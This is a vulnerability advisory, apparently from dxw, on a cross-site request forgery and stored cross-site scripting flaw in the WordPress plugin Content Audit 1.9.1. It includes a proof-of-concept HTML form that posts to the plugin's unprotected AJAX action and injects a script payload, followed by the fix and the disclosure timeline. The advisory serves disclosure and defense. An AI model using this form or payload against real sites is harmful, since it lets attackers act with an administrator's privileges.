WordPress Content Audit 1.9.1 Cross Site Request Forgery / Cross Site Scripting

Credit: Tom Adams
Risk: Medium
Local: No
Remote: Yes

Details ================ Software: Content Audit Version: 1.9.1 Homepage: https://wordpress.org/plugins/content-audit/ Advisory report: https://security.dxw.com/advisories/csrf-xss-content-audit/ CVE: Awaiting assignment CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N) Description ================ CSRF/XSS in Content Audit allowing an unauthenticated attacker to do almost anything an admin can Vulnerability ================ The plugin contains an admin_ajax action which is not protected with a nonce. One of the values submitted appears unescaped on the list of pages. Proof of concept ================ Install/activate the plugin Make sure you have a post with ID=2 (or edit the HTML provided below) Settings > Content Audit > select at least aPagesa for aAudited content typesa Visit a page containing the below HTML Click submit VisitA http://localhost/wp-admin/edit.php?post_type=page to receive the XSS payload <form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php?action=content_audit_save_bulk_edit\"> <input type=\"text\" name=\"post_ids[]\" value=\"2\"> <input type=\"text\" name=\"_content_audit_owner\" value=\"Elliot Alderson\"> <input type=\"text\" name=\"_content_audit_expiration_date\" value=\"2020-01-01\"> <input type=\"text\" name=\"_content_audit_notes\" value=\"&lt;script>alert(1)&lt;/script>\"> <input type=\"submit\"> </form> A Mitigations ================ Upgrade to version 1.9.2 or later. Disclosure policy ================ dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/ Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf. This vulnerability will be published if we do not receive a response to this report with 14 days. Timeline ================ 2017-08-21: Discovered 2017-09-08: Reported to vendor by email 2017-09-08: First response from vendor 2017-09-08: Vendor reports fixed in 1.9.2 2017-09-26: Advisory published Discovered by dxw: ================ Tom Adams Please visit security.dxw.com for more information.

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